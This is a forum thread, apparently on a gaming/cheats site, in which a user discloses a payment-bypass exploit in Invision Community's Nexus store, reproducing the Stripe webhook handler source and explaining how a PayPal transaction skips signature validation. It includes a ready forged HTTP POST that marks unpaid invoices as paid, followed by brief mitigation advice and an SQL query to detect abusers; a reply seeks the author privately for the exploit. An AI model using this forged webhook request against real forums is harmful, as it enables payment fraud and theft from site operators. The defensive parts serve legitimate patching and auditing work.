|
You last visited: Today at 03:56
Advertisement
Invision community exploit
Discussion on Invision community exploit within the Tutorials forum part of the Off-Topics category.
03/07/2019, 04:37
|
#1
|
elite*gold: 0
Join Date: Dec 2017
Posts: 87
Received Thanks: 38
|
Invision community exploit
Since IPS fixed the bug in 4.3.6 I'm going to release how it worked.
I'm shortly going to explain why that technique works and what you can do against it.
IPS has a very bad payment system (my opinion), it's still the best payment system in forums in general but still bad.
I don't even know how to explain it the best to everyone to understand but I'm gonna try.
When you create a payment in an IPS forum the normal flow is like that:
- Adding item to cart
- Entering Shipping/Billing address
- Choosing a payment gateway
- Clicking pay
While you go from step 2 to step 3 an invoice is generated and can be paid from that moment. Whenever you click pay a corresponding Transaction will be generated which is linked to the chosen payment gateway.
If you choose PayPal as payment-gateway it will be the simplest but would also work with other gateways, even custom gateways would work.
When you chose PayPal as payment-gateway the generated transaction will also contain a gw_id which is an identifier for the transaction, that is basically the only thing needed for the exploit, I have another one where you do not need it but you have to manually calculate an HMAC based on the data you send and it will only work with very special gateways, so it cant be used as effective as that.
Now have a look at our gateways that communicate with the payment-services to either validate a transaction or mark it as refunded etc
I will directly jump into the exploitable object here, if you create a transaction with PayPal the transaction will use the settings from the PayPal gateway, what happens when we now send data to the stripe gateway?
Let's check the source of the stripe gateway handler.
Code:
<?php
/**
* [MENTION=2271389]brief[/MENTION] Stripe Webhook Handler
* [MENTION=1332190]author[/MENTION] <a href='https://www.invisioncommunity.com'>Invision Power Services, Inc.</a>
* [MENTION=484382]Copyright[/MENTION] (c) Invision Power Services, Inc.
* [MENTION=2511562]LICENSE[/MENTION] [url]https://www.invisioncommunity.com/legal/standards/[/url]
* [MENTION=861448]package[/MENTION] Invision Community
* [MENTION=595533]Sub[/MENTION]package Nexus
* [MENTION=437756]Since[/MENTION] 20 Jul 2017
*/
define('REPORT_EXCEPTIONS', TRUE);
$body = trim( [MENTION=334094]FiLE[/MENTION]_get_contents('php://input') );
$data = json_decode( $body, TRUE );
require_once '../../init.php';
\IPS\Session\Front::i();
function loadTransaction( $returnUrl )
{
$url = new \IPS\Http\Url( $returnUrl );
$transaction = \IPS\nexus\Transaction::load( $url->queryString['nexusTransactionId'] );
$settings = json_decode( $transaction->method->settings, TRUE );
if ( !validate( $settings['webhook_secret'] ) )
{
throw new \Exception('INVALID_SIGNING_SECRET');
}
return $transaction;
}
function validate( $correctSigningSecret )
{
global $body;
if ( !$correctSigningSecret )
{
return TRUE; // In case they upgraded and haven't provided one
}
if ( isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) )
{
foreach ( explode( ',', $_SERVER['HTTP_STRIPE_SIGNATURE'] ) as $row )
{
list( $k, $v ) = explode( '=', trim( $row ) );
$sig[ trim( $k ) ][] = trim( $v );
}
$signedPayload = $sig['t'][0] . '.' . $body;
$signature = hash_hmac( 'sha256', $signedPayload, $correctSigningSecret );
return in_array( $signature, $sig['v1'] );
}
else
{
return FALSE;
}
}
try
{
/* source.chargeable means we're ready to charge (then we need to wait for charge.succeeded) */
if ( isset( $data['type'] ) and $data['type'] === 'source.chargeable' )
{
/* Is this a validation? */
if ( isset( $data['data']['object']['owner']['email'] ) and $data['data']['object']['owner']['email'] === ' ' and isset( $data['data']['object']['metadata']['method'] ) )
{
$method = \IPS\nexus\Gateway::load( $data['data']['object']['metadata']['method'] );
$settings = json_decode( $method->settings, TRUE );
if ( !isset( $settings['webhook_verified'] ) )
{
if ( validate( $settings['webhook_secret'] ) )
{
$settings['webhook_verified'] = $settings['webhook_secret'];
}
else
{
$settings['webhook_verified'] = 'ERR';
}
$method->settings = json_encode( $settings );
$method->save();
}
exit;
}
/* Don't need to do anything for cards, since this is only for asynchronous payments */
if ( isset( $data['data']['object']['type'] ) and in_array( $data['data']['object']['type'], array( 'card' ) ) )
{
\IPS\Output::i()->sendOutput( 'NO_PROCESSING_REQUIRED', 200, 'text/plain' );
exit;
}
/* Load the transaction */
if ( isset( $data['data']['object']['metadata']['Transaction ID'] ) )
{
$transaction = \IPS\nexus\Transaction::load( $data['data']['object']['metadata']['Transaction ID'] );
}
elseif ( isset( $data['data']['object']['redirect']['return_url'] ) )
{
$transaction = loadTransaction( $data['data']['object']['redirect']['return_url'] );
}
else
{
try
{
$where = array( array( 't_gw_id=?', $data['data']['object']['id'] ) );
if ( isset( $data['data']['object']['metadata']['Invoice ID'] ) )
{
$where[] = array( 't_invoice=?', $data['data']['object']['metadata']['Invoice ID'] );
}
$transaction = \IPS\nexus\Transaction::constructFromData( \IPS\Db::i()->select( '*', 'nexus_transactions', $where )->first() );
}
catch ( \UnderflowException $e )
{
\IPS\Output::i()->sendOutput( 'COULD_NOT_FIND_TRANSACTION', 403, 'text/plain' );
exit;
}
}
if ( $transaction->status !== \IPS\nexus\Transaction::STATUS_PENDING and $transaction->status !== \IPS\nexus\Transaction::STATUS_WAITING )
{
if ( $transaction->status === \IPS\nexus\Transaction::STATUS_GATEWAY_PENDING )
{
\IPS\Output::i()->sendOutput( 'ALREADY_PROCESSED', 200, 'text/plain' );
}
else
{
\IPS\Output::i()->sendOutput( 'BAD_STATUS', 403, 'text/plain' );
}
exit;
}
/* Load the source */
$source = $transaction->method->api( 'sources/' . preg_replace( '/[^A-Z0-9_]/i', '', $data['data']['object']['id'] ) );
if ( $source['client_secret'] != $data['data']['object']['client_secret'] )
{
\IPS\Output::i()->sendOutput( 'BAD_SECRET', 403, 'text/plain' );
exit;
}
/* Check we're not just going to refuse this */
$maxMind = NULL;
if ( \IPS\Settings::i()->maxmind_key and ( !\IPS\Settings::i()->maxmind_gateways or \IPS\Settings::i()->maxmind_gateways == '*' or in_array( $transaction->method->id, explode( ',', \IPS\Settings::i()->maxmind_gateways ) ) ) )
{
$maxMind = new \IPS\nexus\Fraud\MaxMind\Request( FALSE );
$maxMind->setIpAddress( $transaction->ip );
$maxMind->setTransaction( $transaction );
}
$fraudResult = $transaction->runFraudCheck( $maxMind );
if ( $fraudResult === \IPS\nexus\Transaction::STATUS_REFUSED )
{
$transaction->executeFraudAction( $fraudResult, FALSE );
$transaction->sendNotification();
}
/* Authorize */
else
{
$transaction->auth = $transaction->method->auth( $transaction, array( $transaction->method->id . '_card' => $source['id'] ) );
$transaction->status = \IPS\nexus\Transaction::STATUS_GATEWAY_PENDING;
$transaction->save();
}
/* OK */
\IPS\Output::i()->sendOutput( 'OK', 200, 'text/plain' );
}
/* charge.succeeded means we got the payment */
elseif ( isset( $data['type'] ) and $data['type'] === 'charge.succeeded' )
{
/* Load the transaction */
if ( isset( $data['data']['object']['metadata']['Transaction ID'] ) )
{
$transaction = \IPS\nexus\Transaction::load( $data['data']['object']['metadata']['Transaction ID'] );
}
elseif ( isset( $data['data']['object']['source']['redirect']['return_url'] ) )
{
$transaction = loadTransaction( $data['data']['object']['source']['redirect']['return_url'] );
}
else
{
try
{
$where = array( array( 't_gw_id=?', $data['data']['object']['id'] ) );
if ( isset( $data['data']['object']['metadata']['Invoice ID'] ) )
{
$where[] = array( 't_invoice=?', $data['data']['object']['metadata']['Invoice ID'] );
}
$transaction = \IPS\nexus\Transaction::constructFromData( \IPS\Db::i()->select( '*', 'nexus_transactions', $where )->first() );
}
catch ( \UnderflowException $e )
{
\IPS\Output::i()->sendOutput( 'COULD_NOT_FIND_TRANSACTION', 403, 'text/plain' );
exit;
}
}
if ( $transaction->status !== \IPS\nexus\Transaction::STATUS_GATEWAY_PENDING )
{
if ( $transaction->status === \IPS\nexus\Transaction::STATUS_PAID )
{
\IPS\Output::i()->sendOutput( 'ALREADY_PROCESSED', 200, 'text/plain' );
}
else
{
\IPS\Output::i()->sendOutput( 'BAD_STATUS', 403, 'text/plain' );
}
exit;
}
/* Create a MaxMind request */
$maxMind = NULL;
if ( \IPS\Settings::i()->maxmind_key and ( !\IPS\Settings::i()->maxmind_gateways or \IPS\Settings::i()->maxmind_gateways == '*' or in_array( $transaction->method->id, explode( ',', \IPS\Settings::i()->maxmind_gateways ) ) ) )
{
$maxMind = new \IPS\nexus\Fraud\MaxMind\Request( FALSE );
$maxMind->setIpAddress( $transaction->ip );
$maxMind->setTransaction( $transaction );
}
/* Check fraud rules */
$fraudResult = $transaction->runFraudCheck( $maxMind );
if ( $fraudResult )
{
$transaction->executeFraudAction( $fraudResult, TRUE );
}
/* If we're not being fraud blocked, we can approve */
if ( $fraudResult === \IPS\nexus\Transaction::STATUS_PAID )
{
$transaction->member->log( 'transaction', array(
'type' => 'paid',
'status' => \IPS\nexus\Transaction::STATUS_PAID,
'id' => $transaction->id,
'invoice_id' => $transaction->invoice->id,
'invoice_title' => $transaction->invoice->title,
) );
$transaction->approve();
}
/* Either way, let the user know we got their payment */
$transaction->sendNotification();
/* OK */
\IPS\Output::i()->sendOutput( 'OK', 200, 'text/plain' );
}
/* charge.failed means it failed */
elseif ( isset( $data['type'] ) and $data['type'] === 'charge.failed' )
{
/* Load the transaction */
if ( isset( $data['data']['object']['metadata']['Transaction ID'] ) )
{
$transaction = \IPS\nexus\Transaction::load( $data['data']['object']['metadata']['Transaction ID'] );
}
elseif ( isset( $data['data']['object']['source']['redirect']['return_url'] ) )
{
$transaction = loadTransaction( $data['data']['object']['source']['redirect']['return_url'] );
}
else
{
try
{
$where = array( array( 't_gw_id=?', $data['data']['object']['id'] ) );
if ( isset( $data['data']['object']['metadata']['Invoice ID'] ) )
{
$where[] = array( 't_invoice=?', $data['data']['object']['metadata']['Invoice ID'] );
}
$transaction = \IPS\nexus\Transaction::constructFromData( \IPS\Db::i()->select( '*', 'nexus_transactions', $where )->first() );
}
catch ( \UnderflowException $e )
{
\IPS\Output::i()->sendOutput( 'COULD_NOT_FIND_TRANSACTION', 403, 'text/plain' );
exit;
}
}
if ( $transaction->status !== \IPS\nexus\Transaction::STATUS_GATEWAY_PENDING )
{
if ( $transaction->status === \IPS\nexus\Transaction::STATUS_REFUSED )
{
\IPS\Output::i()->sendOutput( 'ALREADY_PROCESSED', 200, 'text/plain' );
}
else
{
\IPS\Output::i()->sendOutput( 'BAD_STATUS', 403, 'text/plain' );
}
exit;
}
/* Mark it failed */
$transaction->status = \IPS\nexus\Transaction::STATUS_REFUSED;
$extra = $transaction->extra;
$extra['history'][] = array( 's' => \IPS\nexus\Transaction::STATUS_REFUSED, 'noteRaw' => $data['data']['object']['failure_message'] );
$transaction->extra = $extra;
$transaction->save();
$transaction->member->log( 'transaction', array(
'type' => 'paid',
'status' => \IPS\nexus\Transaction::STATUS_REFUSED,
'id' => $transaction->id,
'invoice_id' => $transaction->invoice->id,
'invoice_title' => $transaction->title,
), FALSE );
/* Send notification */
$transaction->sendNotification();
/* Return */
\IPS\Output::i()->sendOutput( 'OK', 200, 'text/plain' );
}
/* charge.dispute.created is a chargeback */
elseif ( isset( $data['type'] ) and $data['type'] === 'charge.dispute.created' and isset( $data['data']['object']['charge'] ) )
{
$transaction = \IPS\nexus\Transaction::constructFromData( \IPS\Db::i()->select( '*', 'nexus_transactions', array( 't_gw_id=?', $data['data']['object']['charge'] ) )->first() );
$settings = json_decode( $transaction->method->settings, TRUE );
if ( !validate( $settings['webhook_secret'] ) )
{
throw new \Exception('INVALID_SIGNING_SECRET');
}
$transaction->status = $transaction::STATUS_DISPUTED;
$extra = $transaction->extra;
$extra['history'][] = array( 's' => $transaction::STATUS_DISPUTED, 'on' => $data['data']['object']['created'], 'ref' => $data['data']['object']['id'] );
$transaction->extra = $extra;
$transaction->save();
if ( $transaction->member )
{
$transaction->member->log( 'transaction', array(
'type' => 'status',
'status' => $transaction::STATUS_DISPUTED,
'id' => $transaction->id
) );
}
$transaction->invoice->markUnpaid( \IPS\nexus\Invoice::STATUS_CANCELED );
}
/* charge.dispute.closed is a chargeback being resolved */
elseif ( isset( $data['type'] ) and $data['type'] === 'charge.dispute.closed' and isset( $data['data']['object']['charge'] ) and isset( $data['data']['object']['status'] ) )
{
$transaction = \IPS\nexus\Transaction::constructFromData( \IPS\Db::i()->select( '*', 'nexus_transactions', array( 't_gw_id=?', $data['data']['object']['charge'] ) )->first() );
echo "ID: " . $transaction->id;
$settings = json_decode( $transaction->method->settings, TRUE );
if ( !validate( $settings['webhook_secret'] ) )
{
throw new \Exception('INVALID_SIGNING_SECRET');
}
if ( $data['data']['object']['status'] === 'won' )
{
$transaction->status = $transaction::STATUS_PAID;
$transaction->save();
if ( !$transaction->invoice->amountToPay()->amount->isGreaterThanZero() )
{
$transaction->invoice->markPaid();
}
}
else
{
$transaction->status = $transaction::STATUS_REFUNDED;
$transaction->save();
}
}
}
catch ( \Exception $e )
{
\IPS\Output::i()->sendOutput( $e->getMessage(), 500, 'text/plain' );
}
The most interesting part for us is here:
Code:
/* charge.dispute.closed is a chargeback being resolved */
elseif ( isset( $data['type'] ) and $data['type'] === 'charge.dispute.closed' and isset( $data['data']['object']['charge'] ) and isset( $data['data']['object']['status'] ) )
{
$transaction = \IPS\nexus\Transaction::constructFromData( \IPS\Db::i()->select( '*', 'nexus_transactions', array( 't_gw_id=?', $data['data']['object']['charge'] ) )->first() );
echo "ID: " . $transaction->id;
$settings = json_decode( $transaction->method->settings, TRUE );
if ( !validate( $settings['webhook_secret'] ) )
{
throw new \Exception('INVALID_SIGNING_SECRET');
}
if ( $data['data']['object']['status'] === 'won' )
{
$transaction->status = $transaction::STATUS_PAID;
$transaction->save();
if ( !$transaction->invoice->amountToPay()->amount->isGreaterThanZero() )
{
$transaction->invoice->markPaid();
}
}
else
{
$transaction->status = $transaction::STATUS_REFUNDED;
$transaction->save();
}
}
so the gateway notifies our server that a dispute was closed, but what we see there too is the exploitable part. The transaction gets loaded by the gw_id which can be found on the PayPal site by just searching in the source for "payment_id" or "PAYID". It will be a unique identifier that is saved in IPS as the gw_id.
Since we somehow have to get a true from validate now we should check the source of validate.
Code:
function validate( $correctSigningSecret )
{
global $body;
if ( !$correctSigningSecret )
{
return TRUE; // In case they upgraded and haven't provided one
}
if ( isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) )
{
foreach ( explode( ',', $_SERVER['HTTP_STRIPE_SIGNATURE'] ) as $row )
{
list( $k, $v ) = explode( '=', trim( $row ) );
$sig[ trim( $k ) ][] = trim( $v );
}
$signedPayload = $sig['t'][0] . '.' . $body;
$signature = hash_hmac( 'sha256', $signedPayload, $correctSigningSecret );
return in_array( $signature, $sig['v1'] );
}
else
{
return FALSE;
}
}
"if (!correctSigningSecret)"? Well thanks, IPS, since our transaction was a PayPal transaction and the settings, are directly loaded from the transaction we won't have a "webhook_secret" so it will return true since we don't have a correctsigningsecret..
So if we now create a fake request the forum will validate us as stripe and we can call every stripe handler..
Code:
POST /applications/nexus/interface/gateways/stripe.php HTTP/1.1
Host: forum.evilcheats.io
Content-Type: application/json
{"type":"charge.dispute.closed","data":{"object":{"charge":"PAYID-PLACEHOLDER","status":"won"}}}
Will result in the invoice and transaction being marked as paid.
The simplest way to avoid that abuse in the feature is in first case, making sure that the transaction settings matching the gateway settings, like comparing the gateway id with the one the transaction has, do that in every gateway, since I already told you there is a load of exploitable objects.
For the last, I'm showing a simple way to find people who abused the PayPal gateway.
Code:
$response = $transaction->method->api( "payments/payment/{$transaction->gw_id}/execute", array(
'payer_id' => \IPS\Request::i()->PayerID,
) );
$transaction->gw_id = $response['transactions'][0]['related_resources'][0]['authorization']['id']; // Was previously a payment ID. This sets it to the actual transaction ID for the authorization. At capture, it will be updated again to the capture transaction ID
$transaction->auth = \IPS\DateTime::ts( strtotime( $response['transactions'][0]['related_resources'][0]['authorization']['valid_until'] ) );
if ( isset( $response['payer'] ) and isset( $response['payer']['status'] ) )
{
$extra = $transaction->extra;
$extra['verified'] = $response['payer']['status'];
$transaction->extra = $extra;
}
$transaction->save();
This is from the PayPal payment_gateway and as we can see the gw_id is changed whenever someone paid by PayPal. To find people who abused that method we just need to get "paid" transactions without a changed gw_id.
Code:
SELECT * FROM invictus_nexus_transactions WHERE t_gw_id LIKE 'PAY%' AND (t_status = "okay" OR t_status = "rfnd")
|
|
|
03/07/2019, 22:30
|
#2
|
elite*gold: 0
Join Date: Nov 2018
Posts: 2
Received Thanks: 0
|
Hi invictus
Hi invictus I'm very interested in the exploit. What is your name on discord? I'll hit you up.
|
|
|
03/08/2019, 15:47
|
#3
|
elite*gold: 1
Join Date: Jun 2013
Posts: 5,915
Received Thanks: 1,558
|
|
|
|
Similar Threads
|
[Selling] Invision Community Lizenz (IPB Forum)
05/27/2018 - Trading - 0 Replies
In meiner Lizenz sind enthalten
Suite Core $100
Forums $100
Pages $100
-----
Total $300
https://invisioncommunity.com/buy/self-hosted
|
>Invision-Galaxy<=Root-Server|Join Us
05/14/2010 - Metin2 Private Server - 11 Replies
Invision-Galaxy
Ist ein neuer Metin2 Privat Server.
Der im laufe des Tages oder Morgen Online kommt.
Soweit ich weiß wird der Server gerade installiert.
Vom Admin . Hier was der Server bieten wird:
Der Server beinhaltet perfekte Shops.
Wie auch Drops Yang und Exp Rates.
Es werden euch entbuggtes und neues Equipment
|
Invision Power Board <= 1.3.1 Login.PHP
08/14/2006 - Tutorials - 18 Replies
--
|
Which Invision forum template is better?
02/27/2006 - Off Topic - 3 Replies
Please vote, this is connected to the content of the following thread:
http://www.elitepvpers.com/forum/index.php?...3&am p;t=13575&st=30
|
All times are GMT +1. The time now is 03:57.
|
|